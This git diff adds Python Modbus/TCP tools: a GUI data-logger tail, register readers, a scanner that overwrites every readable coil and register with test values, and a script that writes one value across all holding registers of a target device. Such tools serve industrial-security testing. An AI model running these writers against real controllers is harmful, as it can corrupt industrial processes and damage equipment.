seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + 